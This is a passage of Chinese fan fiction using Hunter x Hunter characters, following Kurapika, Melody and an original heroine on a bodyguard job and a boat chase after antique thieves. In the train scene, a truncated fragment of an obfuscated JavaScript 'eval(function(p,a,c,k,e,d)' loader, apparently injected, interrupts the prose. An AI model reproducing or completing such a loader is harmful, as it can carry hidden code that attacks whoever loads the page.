就算没有这个头衔,克罗顿海岸依旧美丽,以宽阔的白沙滩与清澈到在晴日里泛着蓝宝石光泽的浅海最为著名,人们可以尽情地在那里享受一整日的阳光,也可以征服这片水域温润的波浪,为冲浪的信心舔砖加瓦,也难怪这里会成为最受人喜欢的景点之一。 如此美景距离诺斯拉宅邸所在的这座城市,说远不远,说近也不近,在邻国的克罗顿市。但到底是克罗顿海岸继承了克罗顿市的名字,还是克罗顿市因为著名的海岸线而改了自己的称呼,这个谜题可能需要在造访克罗顿市的历史博物馆、看过这片地域长长的历史之后,才能解开了吧。 上述这些不算重要。重要的是,此刻酷拉皮卡正在询问维瑟拉特,问她是否要一起去克罗顿海岸。 维瑟拉特眨了一下眼。由于酷拉皮卡这话说得还挺突然的,她稍稍花了一丁点时间进行思考。 “是有要在克罗顿处理的工作,是吗?”这是她思考过后给出的猜想。 酷拉皮卡顿了顿,不是因为维瑟拉特猜错了。恰恰相反,她说对了——说得实在太过精准了。正是这样没错。 “今天收到了一个委托,是很少见的类型,不是希望诺斯拉家为对方进行占卜,而是希望我们能够提供安保服务。对方提供了相当可观的报酬,我说服莱特接受了。” 准确地说,莱特·诺斯拉从头到尾都不想答应这种委托。让诺斯拉家提供安保服务?跌份! 他一根筋的脑子向来转不过弯。往日里,他靠着妮翁的占卜能力积攒起了地位和财富,拥有了“家族”,即便是在能力不再的如今,他也依然还是想要依靠伪造占卜的方式保住原有的一切,计划着在稳住现状之后再伺机而动,说不定还找到爬上去的机会。酷拉皮卡不想反对老板,但他觉得,安保服务或许可以成为诺斯拉家新的出路,毕竟这个家聚集着足够有能力的护卫队,而谎言没可能持续一辈子。 为此他真的花了很多时间和莱特进行沟通,好在虽然莱特固执,真要说服他倒是挺简单,只要给他看看账户余额就好了,日渐降低的余额会让他瞬间收声,赤字更实在挑战他(没用的)底线。他几乎是立刻就罢休了,果断放开手让酷拉皮卡自由地去做能赚钱的生意。 前提大致就是这样。 当然了,酷拉皮卡肯定不是因为想要让维瑟拉特工作才说出这话的。当他说起克罗顿海岸时,他是真的想要和维瑟拉特一起去克罗顿海滩,尽管这点小小的享乐确实是工作带来的副产品没有错。而在维瑟拉特一语道破此为工作的本质之后,他完全不知道该用何种方式才能让这件本该是很轻松的事情回复它原有的轻松氛围了。 没办法,这就是维瑟拉特的优点。她绝不会冒出半点绮丽的想法,在她眼里,什么事情都可以是工作。 “我会去的。”并且她还会毫不犹豫地答应,连这具体是怎样的工作都没有多问。 工作的详情总还是要了解一下才行的,否则怎么能做好工作呢。 出乎意料地向诺斯拉家发起了安保委托的对象是颇有名气的占星术师珀斯帕西丝(很拗口的名字对吧),而她的身份也是莱特一开始不想要接受她的委托的主要原因。 占星术师找专门进行占卜的□□家族负责安保吗?怎么看都像是刻意的圈套。他们可是同一行业同一市场下的竞争对手啊! “我知道你们担心这种事,所以我要提前和你们说明才行。无论如何,请各位放心,我们之间是绝对没有利益冲突的。” 在安保工作开始之前,和珀斯帕西丝进行了委托说明的视讯通话,她就“竞争对手”这件事上好好解释了一下。 “我了解到的是,你们诺斯拉家提供的占卜是一个月内精准的未来,是吧?当然我的占卜也很精准,但我能够观测到的周期更长,会动用日与月的力量,根据星系的运转情况为我的客人们提供改变运势和逆转结局的建议。本质上是不同的。” 旁边的同僚们都在点头,维瑟拉特赶紧也模仿着大家的动作。其实她坐在摄像头捕捉不到的角落里,就算什么都不做也不会有人发现的。珀斯帕西丝的话她一点也没听懂。在她看来,占星术师和妮翁·诺斯拉根本没什么大区别。 而且她感觉自己马上要睡过去了,肯定是因为宅邸里的暖气又开得太足。 维瑟拉特默默脱掉了毛衣,试图让身体在不适宜的温度下保持清醒,继续听着占星术师的话语,勉强算是把情况全部摸清了。 珀斯帕西丝能够不计较利益冲突的最重要原因,其实是除了诺斯拉家以外,她真的很难找到其他可以接受她委托的人了。理由也很简单,她的占卜得罪了一个大人物。 “这个大人物,暂且称他为A老板吧。上个月他找我看运势,我说天狼星盖住了金星的光辉,你即将遭遇财务方面的大失败,但与此同时,天龙星也在闪烁,说明你还是能有转机的,不破不立,你一定要做出重大的改变才能逆转局势。” 屏幕那头的珀斯帕西丝说得绘声绘色,高举的两只手从左边晃到右边,像是在抚摸着看不见的星星们。 “他听了我的话,干脆地把手里所有的期货和黄金都兑换成了现金。结果上个星期,他的国家发生了政变,货币大幅度贬值,被他抛售掉的期货反倒行情大好——啧,真是东方不亮西方也没亮!总之他因此亏了一大笔钱,身家缩水三分之一,都从布福斯富豪榜上掉下来了,偏偏他是个相当记仇的家伙,不管我说要再占卜一次还是别的什么,他全都不停,揪着我的这次失误不放……啊呸呸呸,不是什么 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生怕酷拉皮卡误解了自己的意思,珀斯帕西丝只能很没礼貌地打断他的话,“不,我只需要短期的安保即可。” 她心里有数,不可能一辈子逃过A先生的追杀,她也不乐意当永远被追逐的逃犯。她决定好了,下个月再为A先生进行一次占卜,来月会有月食,是利用日月能量的最好机会,她坚信那一晚的自己能够给出最准确的占卜。 如果占卜的结果是能够帮助A先生重获财富,无论如何她都一定会把这个消息传达给A先生。如果星星们个给不出挽救的措施……那她一定会找到他的弱点,将他彻底击溃。就是这样。 “你们要做的事情就是在下个月的月食之前保护我的安全。下个月的月初我要在崎土王国进行一次占星术科普演讲,无论怎样都推不掉,到时候肯定是A先生最好的杀掉我的机会,你们必须要特别留意。该说的,我应该都提到了吧?总之就是这样。行程的安排是,请你们先去克罗顿市取到我在古董屋预定的紫水晶簇,这是我下个月进行月食占星时必不可少的道具。拿到紫水晶之后就请你们尽快到阿科力和我回合,护送我前往崎土,保证我在月食到来之前不被杀死。还挺简单的吧?” 珀斯帕西丝锤着手掌,信心满满地丢出最后的询问。 嗯……是否真的简单呢?总觉得很难说呢。 但无论是珀斯帕西丝提供的报酬,还是莱特给予的自由,全都是酷拉皮卡所需要的。为了实现他的目的,为了带回所有族人的眼睛,他必须切实地踏出这一步。 思考着这些事情的时候,酷拉皮卡并没有注意到维瑟拉特的视线落在了他的身上,也并未想到,从她的眼眸中看到的自己,比任何时候都显得沉重阴暗。 他点头。 “没有问题。” 28.大海的气味x古董x劫案 从珀斯帕西丝发布委托到诺斯拉家正式开始行动,拢共只用了两天时间而已。时间就是这么紧迫,无论是占星术师还是诺斯拉家,全都无暇等待了。 护卫队的大部分人都将负责支援本次的安保委托,其余人则是继续帮忙进行伪造占卜的行动——这直接导致芭蕉只能留在宅邸里了,谁让他是伪造占卜中最重要的那部分, “真的,酷拉皮卡这家伙太不仁义了!”芭蕉看起来气冲冲,还表现出了一副意见很大的样子,实际上肯定没有面上展现出来的那么恼怒,只在嘴上嘀咕着,“护卫占星术师这种如此有挑战性、还能去到其他国家的工作,居然不叫上我一起吗?就因为我写得一手好诗?” 不用想也知道,他的抱怨和苦水肯定又倒向了维瑟拉特。考虑到他抱怨的对象是酷拉皮卡,维瑟拉特总觉得自己应该说点什么维护酷拉皮卡才行,绝对不能和之前一样默默听着了。 她想了想,然后又想了想,接着再想了一会儿——好吧,她根本就是想了很久,也还是没能琢磨出什么特别好的回答。 磨蹭了这么久,到头来,她也只是憋出了一句:“酷拉做出这种安排,一定有他自己的考虑。” 芭蕉眯起眼,微妙地盯着她,“什么考虑?你说说。” “……” 啧……容她想想,虽然什么也没能想到…… “比如。”维瑟拉特抓抓脑袋,脑细胞以前所未有的速度运转起来了,“你的诗写得很好所以你必须留下来写占卜诗,这样的考虑?” 实在是糟糕的回答,她完全就是把芭蕉的疑问重新摘出来了嘛,可信度真是比零还低。意外的是,芭蕉居然完全接受这番说辞,肯定是因为她夸了他的写诗本领,而芭蕉凑巧就是这么一个挺爱听到夸赞的人类。 “行吧。我接受了。”本就不那么强烈的怒气倏地收了回去,芭蕉看起来心情不错,还伸出手来拍拍她的后背给她加油打气,“顺便祝你此次外出工作顺利!傍晚就该去克罗顿了,对吧?” “嗯。” 开往克罗顿的火车在晚间出发,所以她现在还能有时间和芭蕉处理一点宅邸的工作。 最初说着要一起去克罗顿海岸的人是酷拉皮卡,结果他这次完全不会前往克罗顿。他担心珀斯帕西丝在以和平与治安度极佳的中立国阿科力并不能保证百分百的安全,决定先与护卫队的大家一同前往阿科力与珀斯帕西丝会和。而在克罗顿收取紫水晶簇的差事,相对而言并不那么危险,交给了维瑟拉特和旋律负责。 对于没能一起去克罗顿这件事,酷拉皮卡还向她道歉了,明明这也不是什么值得抱歉的事情。海岸永远在那里,未来也一定能够看到的。 在日落时分出发,深夜的火车穿过平原,朝着漫无边际的水泽而去。 海滨之城克罗顿,一座狭长地界紧紧贴近咸水的城市,一整年里几乎没有太多雨日,温暖到近乎炽热。当维瑟拉特和旋律走出车站时,炫目的阳光直接落了下来,晒得眼睛有点睁不开。她赶紧戴上卫衣的帽子,还扯了扯帽檐,试图遮挡碍事的日光。 旋律看了她一眼,对她戴上帽子的这个动作稍稍感到有些奇怪。 “戴着帽子会不会觉得太热?”她问。 就算没有这个帽子,旋律也觉得她好热。她还穿着来时的衣服——也就是说,她穿着又长又厚重的风衣,压在外套下的是针织卫衣,裤子是灯芯绒的,厚重的长靴会在火车站的地板上撞出“咚”的一声。 当然了,每个人对于温度的感知不一样,说不定她就是很怕冷呢,旋律也这么想过。但自从她们走出温度适宜的火车车厢之后,维瑟拉特的脸颊就在以肉眼可见的速度染上绯红,心跳加快,呼吸声也变重了一点,有几缕发丝黏在了她的脖颈上,肯定是已经开始不受控制地冒汗了。要是再戴上帽子,真担心她会透不过气。 所以,旋律忍不住出声了,引得维瑟拉特茫然地看了她一眼。 穿多了……吗? 如果不是旋律这么说了,维瑟拉特肯定不会意识到自己穿多了的这个事实。她一如既往地觉得,自己穿着的是符合当下温度的装束,完全忘记了她们已经来到了温暖的克罗顿,这里的大家只穿着印花衬衫和短裤,风衣在这里一定卖不出去。 “我没觉得热,但你说得对,我可能真的很热。”她向旋律微微颔首,“谢谢你的提醒。” 说着,赶紧开始脱衣服。她可不想变成路人眼中的奇怪家伙。 脱掉卫衣,换条短裙,风衣和长靴还是得穿在身上,毕竟里头藏了很多她的武器。 不得不说,少穿了点衣服,行动起来确实轻便了很多。维瑟拉特忍不住又向旋律道谢了一遍,她笑着说没关系。 “对了,给你帽子。”旋律把自己的另一顶帽子借给她,“这里的太阳很刺眼呢。” “谢谢。” 感觉今天一直在说谢谢,都怪旋律是这么好的人。 按照事前做好的计划,她们会在克罗顿停留一天,今天取得紫水晶簇,明日午后搭乘最早的一趟飞行艇前往阿科力和大家回合。旋律提前给古董屋打了电话,今日店铺全日开放,随时都可以前往取货。也不想磨蹭,走出车站后就拦下了计程车,直接朝古董屋而去。 古董屋临近海湾,小小的一间,神秘得像是那种黑漆漆的当铺。还坐在车里的时候,维瑟拉特就能听到潮汐的声音了,等下车踏上人行道时,海浪声更明晰了,显得有些嘈杂,而且还…… 她深呼吸了一口气,过分迅速地皱了皱鼻子。 这点小表情消失得太快,旋律完全没有看到,可她似乎有点嫌弃的心跳声可是完全落进旋律的耳朵里了。 好像还是第一次从维瑟拉特的心跳中听到这样的感情,旋律真的有些好奇。“你是不是在想什么?”旋律问。 旋律都这么问了,维瑟拉特当然会对自己的心思保持百分百的坦诚,直说:“我在想,大海很臭。”< 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四十分钟前她才和古董屋的店员通过电话,得到的讯息是今日店员一直都在。她也告知了自己很快就会过来取货的这个讯息,店员一定在等待着接待他们才对,怎么会不在营业时间呢。 “要不先绕去店后看看吧,或者你能有什么办法打开门锁吗?”旋律询问着她的意见。 “开锁没问题。” 说着,维瑟拉特朝紧闭的正门靠近,伸进风衣内袋的手摸索着。 然后摸出了一把消音手枪,枪口抵住锁孔,扣下扳机。 把锁崩掉也是开锁。 对于维瑟拉特的另辟蹊径,旋律确实挺震惊的,但什么扫兴的或是多余的话都没有说,快步走进古董屋。 空空的。 整个店铺都空空如也,货架上的商品全没有了,收银机也敞开着,一分钱都看不到。 “这里也是空的。我没有看到紫水晶簇”在仓库里打探的维瑟拉特传达了这个消息。 “怎么会……是遇到劫匪了吗?” 旋律环顾四周,电话机的听筒垂在地上,发出通话中断时特有的短促嘟嘟声。查看通话记录,最后一通电话是与旋律的。 也就是说,事情发生在古董店的店员计划挂断电话的时候吗?那只度过了四十分钟而已。这点时间,想要带走所有东西都是勉勉强强,他们一定不会逃太远。 没有时间了,必须赶紧找到丢失的东西。如果看不到他们的踪迹,那就努力听到他们远去的声音把。 旋律深呼吸了一口气,闭上眼,留意着周遭的所有动静,风会带来周围的一切声音。 潮汐声,潮汐声,还有轮胎碾过路面。不,这不是她要找的。她想要听见…… ……心跳声。 “在那里!”旋律指向海湾的方向,“他们在那里,一定是想要开船逃走!” 29.游艇x追逐战x爆裂血肉 按照旋律的指示,劫匪从古董屋后方的小路逃走了,此刻她们也正追逐在这条路上。 倘若沿着这条路一直前进下去,就能轻松地抵达海边。与海岸的距离越来越近了,原本习惯的海浪声在这一刻又变得嘈杂起来,而在这水沫破碎的声音中,掺杂着一点引擎的运转声,轰隆隆地逐渐远去。 维瑟拉特一阵猛冲,遮挡视线的那颗碍事的树终于被甩在身后了,她能看到一艘白色的小船,船上有成包成包的东西,还有三四个男人。小船就乘在海浪之上,飞快地远去了。 如果是在陆地上的话,应该还能有追逐的空间。但是海上,未免有点…… 现状似乎不太妙,但维瑟拉特不情愿去想不妙的事情,铆足了劲往前跑。又一块碍事的石头被甩到身后,她看到了一间小屋。 不对,不是小屋,临近海边的这个建筑物应该是小型的艇库才对吧,不知道是谁人的所属物。 其实也没有必要确认主人的身份,既然有艇库,里面就一定会有船只或者小艇。借着向前奔跑的惯性,她直接用肩膀撞开了艇库紧锁的大门。 好消息好消息,艇库里的确有船,古董屋的两个店员也在这里,被打晕了丢在一边,身上到处都是伤口,真惨。但这时候也顾不上他们的情况了,重要的是必须找回此行需要得到的紫水晶簇。只要用这里的小船,肯定就能追上那群家伙了吧。 “可是,”旋律痛苦地喘着气,好不容易才追上维瑟拉特的脚步,“你会开船吗?” 维瑟拉特诚实地摇头,“不会。” “我也不会。”旋律苦笑了一下,“而且,我们也没有启动船只的钥匙,不是吗?” “嗯。” 有船却用不上,看起来事情变得更加麻烦了呢。 远去的劫匪小船马上就要看不到了,难道真的就要这么面对任务失败的结果吗?虽然旋律说她刚才已经报警了,可警察的效率有目共睹。反正维瑟拉特没有那么愿意相信警察。 再不做点什么,就真的什么都做不到了吧。她讨厌任务失败。 “我现在游过去。” 她说着,立刻脱掉风衣,把藏在外套里的刀和枪全部塞进腰带的空隙中,准备跳进海里,吓得旋律赶紧拽住她。 “游泳怎么可能追得上!我们只能开船!” “可你说了,船用不上,我们也不会开船。” “确实用不上……所以只能努力试试看了。”旋律深呼吸了一口气,露出一点勉强的苦笑,“我刚才稍稍看过最边上这艘小游艇的构造了,其实它和汽车也没有区别,不是吗?会开车的话说不定就能够驱动它了。” “好。”维瑟拉特其实没听懂,“钥匙呢?你说我们没有钥匙。” “怎么启动没有钥匙的车,就怎么启动没有钥匙的船。” “好。” 还是没听懂。 但要是维瑟拉特多看一点电影,就会知道,启动没有钥匙的车可是电影中最常上演的桥段。主角会鬼使神差一般,莫名其妙地从驾驶座的下方扯出两根电线,而后只要怀揣着百分之一百的信念感,就能启动引擎了。 很奇妙,这一招居然真的在游艇上实现了,轰隆轰隆的引擎声在脚下震动起来,整艘船猛得往前冲,维瑟拉特及时地抱住了旋律的大腿——而旋律则是被拽着匆忙抱住了方向盘,她们俩才不至于被惯性甩出去。 好吧,到此为止还挺狼狈的,但不管怎么说,至少迈出第一步了。 海风掀飞了维瑟拉特的长发,她抵抗着风力艰难地睁开眼,想要去抓方向盘,旋律却说没关系。 “开船的工作就教给我吧!”她努力把住左右乱转的方向盘(但仔细想想装在船上的方向盘应该叫做转向舵才对吧?),游艇蛇一般游走在海浪上,“还要想办法制服船上的那些家伙呢,这我可做不到。拜托你啦,维瑟拉特。” “好。” 游艇极速前进,最初有些难以控制,不停地左摇右晃,把乘客从一边甩到了另一边。但在她们与前方小船的距离逐渐缩短之后,旋律逐渐感到自己能够把持住这艘小船的行进了。她进一步提速,潮汐也推着船体向前。远去的匪徒越来越近。 在这个距离下,不注意到她们才比较奇怪。匪徒好几次回头看她们,确认着彼此之间的距离,当确信双方正在逐渐靠近,且已进入射程,他们果断地举起了枪。 丁铃当啷。 有几枚子弹射穿了飞溅的浪花,但更多的子弹射中了游艇。这艘船太小了,驾驶舱完全暴露在外,不想被击中的话只能缩起身子,可这样就没办法看到方向了。旋律知道,自己只是侥幸没有被子弹击中而已。下一次会怎么样,她根本没有概念。 “旋律。” 很忽然的,听到维瑟拉特喊了她的名字,声音从前方飘来。 旋律抬头。不知何时起,维瑟拉特已经站在了她的前方,盾牌一般。 “请你直线往前。我要跳到船上,需要更近的距离。” 她甚至知道自己的身体阻挡住了她的视线,及时为她指引了前进的方向。 又一阵枪响,这次听到了子弹没入人体的声音。好可怕的声音,无论多少次都会让旋律想要作呕的声音。 “你还好吗?” “没问题。”只是枪伤而已,在她这里不是什么大伤,“请再靠近一点,还能更快吗?” “已经是最快的速度了!” “明白。” 对面也已经提升到了最快速度,想要再缩短距离会很困难。看来只能在这个距离下行动了。 维瑟拉特挡住即将射进眼球的子弹,抽出塞进腰间的刀,切下了自己的手臂,掷向匪徒的船。 确切地说,她瞄准的是驾驶舱,而她的手也确实精准地落在了挡风玻璃上。足够了。 静悄悄地,触碰到挡风玻璃的断臂炸开来,血与破碎的骨头四溅,炸开了玻璃,爆炸波把船长轰飞到船舱的墙壁上,瞬间落入神志不清的倒霉境地。 维瑟拉特从不把她的念能力当做秘密,所以很多人都知道她可怕的恢复能力,还有凝为一体的气能够将她破碎的肢体重新联结起来的这件事。 同样的能力,反过来操作呢? 把气发散出 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装着古董的袋子还在船上呢,她在照出紫水晶簇之后就不管那些宝贝们了。 维瑟拉特挠挠头,“哦”了一声,重新跳到匪徒的船上,扛起两大袋东西,很笨重地回来了。旋律对她笑了笑。 “我们回去了,好吗?”旋律说。 “好。” “你的伤都没问题吧,一切都好吗?” 很少有人会问她这种事,害得她想了想才给出回答。 “没问题。一切都好。” 其实并非一切都好——把旋律借给她的帽子弄丢了,这就挺不好的。 当然了,维瑟拉特肯定不是故意弄丢东西的,只是船在往前冲的时候,帽子不受控制地伴着惯性掉进海里了。旋律自己的帽子也是这么消失的。 回到岸边,警察都已经到场了,她们俩差点被当做是什么可疑人物,还好警方认出了旋律的声音正是拨打报警电话的那位没错。 事情算是结束,但还是要稍稍收拾一些残局。比如像是被她们征用了的那艘小游艇,被子弹打穿了好几个难看的洞,为此肯定要赔偿船主。匪徒也被绳之以法,听说他们只是平平无奇的贪婪劫匪而已,想着发一笔横财,又不敢劫银行,所以才瞄准了这家古董屋而已。他们只是没能挑到合适的行动时间,并不是A先生雇来的家伙。 录下证言加上赔偿,忙忙碌碌的一系列事情做完,临近傍晚才算是诸事了结。虽然一开始也没觉得来克罗顿会是什么轻松的工作,没想到着实是有些忙碌。维瑟拉特算了算接下来的时间,在克罗顿的旅馆睡上一觉就该赶赴阿科力了吧。 “对了,你有时间吗?” 旋律这么问的时候,维瑟拉特正在口袋里摸旅馆的房卡,半天也没摸到,开始在想会不会是落在船库了。这点小小的思考导致她的回复显得迟钝了一些。 “有的。”只要人活着就会有“时间”吧?她想。 “是嘛,太好了。”旋律似乎对她的回应很高兴,“我们去看克罗顿海岸吧。” 30.去看大海吧x念旧x长途 细腻柔软的白沙,清澈到经常被形容为蓝宝石的浅滩海水,在此刻却染上了夕阳的橙黄色。在黑夜到来的前夕,火红的太阳差不多已经完全沉入海平面之下,只留下一点痕迹,天倒是没有彻底暗下去,最后的一点日光为潮汐镶嵌了一层金边。 这就是克罗顿最有名的克罗顿海岸,在傍晚时分也聚集着好多游客,还能看到有人在冲浪,赶在天黑之前最后一次征服浪潮。看着那些跌入水中又笑着爬上冲浪板的年轻人,总觉得此刻腥味的风都染上了一种很罕见的自由感。 “真美啊……”身旁的旋律轻轻感叹着,“真不愧是举世闻名的美景。” “嗯。” 确实很美。 不过,维瑟拉特原本以为自己不会看到克罗顿海岸的。 啊,倒不是出于什么特别的原因,只是她稍稍有点死脑筋,觉得说要去克罗顿海岸的酷拉皮卡没有一起来,自己也不会(或者不能吗?)去看克罗顿海岸。 但还是来到这里了,旋律带她来的。 旋律特地找了个面朝海岸的小餐馆,运气很好地一走进大门就遇上了刚刚空出来的靠窗座位,她们可以一边吃着白灼海鲜,一边看落日被海洋彻底吞噬。 “我呢,每次在听到动听的乐曲,或者是看到美丽风景的时候,就会觉得活着是一件很幸福的事情,哪怕事后回忆起来,都能够重新体会到当时的心情。”旋律说着,“这种时刻总会让我觉得,我是自由的。” “嗯。听起来是的” 旋律把她的想法描述得也很自由且美好,维瑟拉特很难得地居然能够理解这种感觉,可惜理解并非体会。她太容易遗忘了,说不定很快就会忘记克罗顿海岸的事情,也会忘记旋律和她说过这句话。 太阳彻底落下了,天空转成余辉被照亮的紫色,很像是她之前在花店里看到过的某种花。名字当然是完全想不起来了。 维瑟拉特收回视线,去拿小料碟里的柠檬,忽然发现旋律在看着自己。 “感觉你此刻的心跳很失落,带着一点点遗憾。” “是嘛。” 她静下心来去感受了一下,总觉得没有她说的情绪。真奇妙,旋律总是知道她不知道的事情。 “你的心跳声总是有点飘忽不定的,幅度很小,所以传达出的心情也很微弱。可能就是因为这样,你总是不知道自己怀有怎样的心情吧。”旋律是这么说的。 维瑟拉特想了想她的话,“这不好,对吗?” “该怎么说呢,我觉得这不是用‘好’或者‘不好’就能定义的事情。如果你觉得这样的闭塞对你而言是必要的,那就是好的。反之,那就不好。最重要的是你自己的想法。但在我看来,哪怕是内心麻木的你,也已经是一个足够优秀的人了。经过了今天的事情,我可以很确信这一点。” “哦……” 维瑟拉特眨了眨眼,可能是有些困惑吧,如果旋律不点破她的心情,她也不会知道自己怀有怎样的情感。 也许心情很茫然,但想法倒是切实的。她知道自己在想什么,她想的是,旋律对她说的话是很少有其他人会对她说的。重要的是她自己,感觉连酷拉皮卡都没有这么说过。 因为,酷拉皮卡眼里能够看到的,常常只是…… 维瑟拉特似乎快要想到什么了,过分鲜明的什么,可就在将要触碰到的那个瞬间,思维很突兀地停下来了。她没有再想下去。 天色彻底暗下时,恰好吃完了饭,维瑟拉特和旋律一起走回旅馆,路上顺便买了新的帽子,不过新帽子和原本的居然款式完全相同,旋律还真是念旧呢。 夜晚看不到大海的克罗顿不算有趣,散步不如早早歇息。今晚依然没有做梦,如同昨晚,也像是更之前的夜晚。 难道她的梦境被封禁起来了吗?对于做梦这件事情,维瑟拉特谈不上喜欢或是讨厌,可要是剥夺了她做梦的权利,怎么想都很不公平,她无法接受。 可惜,就算不接受,今晚没做梦也确实是事实没有错了。她在既定时间起床洗漱,套上衣服,把压在领子里的发梢抖出来,忽然听到了敲门声,相当轻柔,还好没有从维瑟拉特的耳边溜走。 打开门,站在外头的是旋律。 “早上好。”旋律先是向她问好,“我没有打扰到你吧?” 维瑟拉特把门敞开了些,“没有。” “那就好。可以辛苦你立刻做好出发的准备吗?我知道我们原先定好的出发时间是下午一点,如果太勉强你的话,也可以尽量放晚一点。” “了解。” 维瑟拉特没有任何异议,甚至相当抓紧时间,飞快地应了一声之后就开始收拾东西了。她的东西不多,也不会放得七零八落,根本不需要太多时间,就能提上旅行包准备出发。 到此为止,她还没问过一句“为什么”呢。 “是这样的,原定的飞行艇航班取消了。” 旋律觉得还是很有必要跟她说说仓促出发的原因。总觉得她会想知道的,只是习惯性地压下了天然的好奇心而已。 “从克罗顿直飞阿科力首都的航班很少,下一趟要等到后天了,转机的话也要很多时间,酒店的前台告诉我,最快抵达阿科力首都的方式就是搭乘一小时后的直达列车。所以才劳烦你快速出发了。” “了解。这不麻烦。” 她总是这么说。 旋律笑起来,“维瑟拉特真的很让人省心呢。” “省心”,好像没怎么被人这么说过,并且维瑟拉特觉得就算在自己不记得的记忆里肯定也不会出现过这个形容词。但省心算是夸奖没错吧?她迟疑着说了句“谢谢”。 匆匆出发,赶在列车出发前的二十分钟抵达了月台,通体漆黑的高速列车已经等在月台,花了点时间她们才找到对应的座位。 赶在最后一刻买票的坏处就是只能买到整辆车上最糟糕的座位,车厢里闹哄哄,座椅也不算太宽敞,明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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睡醒之后继续忍耐,二十小时果真漫长。 “你看起来好疲惫呢。”旋律拍拍她的手臂,“我说了吧,就是会很累的。” 维瑟拉特叹出了她记忆中的第一口长长的气,相当认真地点了点头,“你说的对。” 她再也不会对旋律的话语拥有任何的质疑了。 被长途旅行折磨得好累,当然要先在咖啡店歇一歇才行,虽然总觉得咖啡因也没有办法拯救坐了二十多个小时带来的疲惫感。 修整得差不多了,这就出发吧。 占星术师珀斯帕西丝下榻在市中心皇冠酒店的豪华套房,一进门就能闻到名贵香水的味道。尚未见到她人,已经听到她在叫嚷着“快把我的紫水晶簇拿过来!”了。 “这个任务就交给你了。”旋律把紫水晶簇放到维瑟拉特手上,“因为你走路很快嘛。” “好。” 不否认这一点,她走路的确挺快的。 维瑟拉特快步来到珀斯帕西丝面前,递上紫水晶簇。有点怪,她居然没有结果,而是在盯着自己。 “异色瞳呢,真奇特。我还没见过呢。” 珀斯帕西丝捧着她的脸,忽得低头,靠近过来,香水味爬到维瑟拉特的发丝上。 “亲爱的,我为你占卜吧?” ……怎么一个两个的都想为她占卜? 31.占星术师x距离感x提问 和初次见面(视讯通话那回见面不算,毕竟维瑟拉特都没有被摄像头拍进去,珀斯帕西丝自己的面孔也被低像素的画质磨成了马赛克)的占星术师面对面的十秒钟之后就被送上了“我来替你占卜吧”这样的话语,简直像是昨日重现——没记错的话,维瑟拉特也是在第一次见到妮翁·诺斯拉见面的时候被提出要进行占卜的。 那次只是失败的尝试,也许占星术师也会失败。维瑟拉特下意识冒出了这种念头。 顺便说一嘴题外话,她有点意外于自己还记得和妮翁见面时的事情。明明那也不是多么重要的时间,对于当日留下的那段记忆居然依旧印象深刻,真奇怪。 似乎,在诺斯拉家度过的时间都很印象深刻,她一直都没有轻而易举地忘却。或许是她的脑袋变得越来越灵光了吧。 好,题外话暂且想到这里为止,维瑟拉特重新将视线和注意力放到眼前的珀斯帕西丝。 之前从视讯通话里发现不了的一个事实是,珀斯帕西丝个子高得可怕,比维瑟拉特高出了一个脑袋还多,明明维瑟拉特已经不算矮了,此刻同她说话的时候需要很费劲似的弓着上半身,垂下的脸庞贴近着她的鼻尖,能清晰地听到珀斯帕西丝的呼吸声。早先被摄像头模糊了的面孔此刻高清地落在维瑟拉特的眼前,好一张美人的脸庞,优雅的面容还带着玩味的窃喜,实在是奇妙的搭配。 有高大的人近距离站在眼前,很容易就会让人冒出一点压迫感,会让人忍不住缩起自我,敬重感稍稍探出头来。尤其对方还是自己的雇主,维瑟拉特天然就会对她怀有百分之一百的尊敬感。不过她的思维还是乱七八糟地发散出去了,心想最近好像有部很出名的漫画就是讲述巨人的,叫什么来着……《进京的巨人》? “你觉得怎么样,由我来观测你的命运?” 只是两秒钟没有等到回复,珀斯帕西丝已经迫不及待地追问她了,还伸手去摸她的耳朵,把深红色的长发绕在自己的指尖上, “你有没有发现,你长了好端正的一张脸?要是我会看面相就好了,这样一来,我肯定一眼就能从你的眼睛里看到你的命运。可惜我探索的是渺无边际的星空——不过这也没什么好可惜的,星空可比人类面部的这一亩三分地有意思多了,也更加神秘,你觉得是不是?整个世界的过去和未来都藏在星星的轨迹里哟。” 没怎么听懂她的意思,毕竟占星和面相学维瑟拉特全都不懂,不过她还是会说:“是。” “那我们就来占卜吧,好不好?” 珀斯帕西丝说着就去握她的手,另一只手倒还是很不舍得地触碰着她的脸颊。总感觉占星术师的嘴唇都要贴到自己的嘴上了,难道占星术一定需要在这样的距离之下才能完成吗?维瑟拉特怎么记得妮翁占卜的时候就没有这种奇怪的条件。 如果为她占卜是雇主的要求,那么维瑟拉特会答应的。她动了动唇,一声“好”马上就要脱口而出,却先被门开的声音打断了。 “珀斯帕西丝女士。” 酷拉皮卡走进来。 “我的……” 他的话才刚开了个头,就很莫名地停下来了,要是在这时候去看他的表情,将会发现他的眼底浮起了一丁点的惊愕。 说真的,看到自己的朋友被占星术师蛇一样地缠起来且亲昵地不像话的举动,不管是谁都会感到震惊的。 几乎是下意识的,他想要冲上前去——至于冲过去之后该做点什么,他倒是还没想好,很可能是会把维瑟拉特拽到自己的身后仿佛他是一只妈妈鸟那样吧。 当然了,最后这种事他还是没能做出来。他甚至都没能冲上去,只是下意识地匆匆往前迈了一步,理智就已经叫停了他的冲动,他赶紧把过度紧张的体态调整过来,清了清嗓子,问两位这是在干什么。 “她也是你们诺斯拉家的成员,对吧?” 珀斯帕西丝转过身子,手臂顺势勾住维瑟拉特的肩膀,拉着她朝酷拉皮卡走过去——由于显著的身高差距,维瑟拉特觉得自己真的很像是一条被钩子拽着脱离水面的鱼。 “我觉得你的小伙伴的异色瞳实在是太有意思了,我还没怎么见过两只眼睛不一样的孩子呢,就想着给她占卜一下。对了,小酷拉,我也顺便给你占卜一下好了,是买一送一哟,我人很好吧?哈哈!” 说着说着还自夸起来了。总觉得从她这副不怎么正经的模样就能猜想出她得罪A先生的原因了。 哦,原来只是想占卜啊。酷拉皮卡一下子放心了。 并且婉拒了买一送一的占卜邀请。 “我建议您将能力留在下个月的月食占卜中。”他很认真地劝诫珀斯帕西丝,“不要再不必要的时刻浪费您的能力。” “小酷拉太正经了。” 珀斯帕西丝其实很认同他的话,但也嫌他扫兴,说自己要午睡了,摆摆手请他们俩出去,只留下了自己的侍女。 只有侍女在这里的话没关系吗?维瑟拉特冒出了这样的想法。 总觉得最近自己的想法越来越多了,她明明是没那么习惯想事情的。 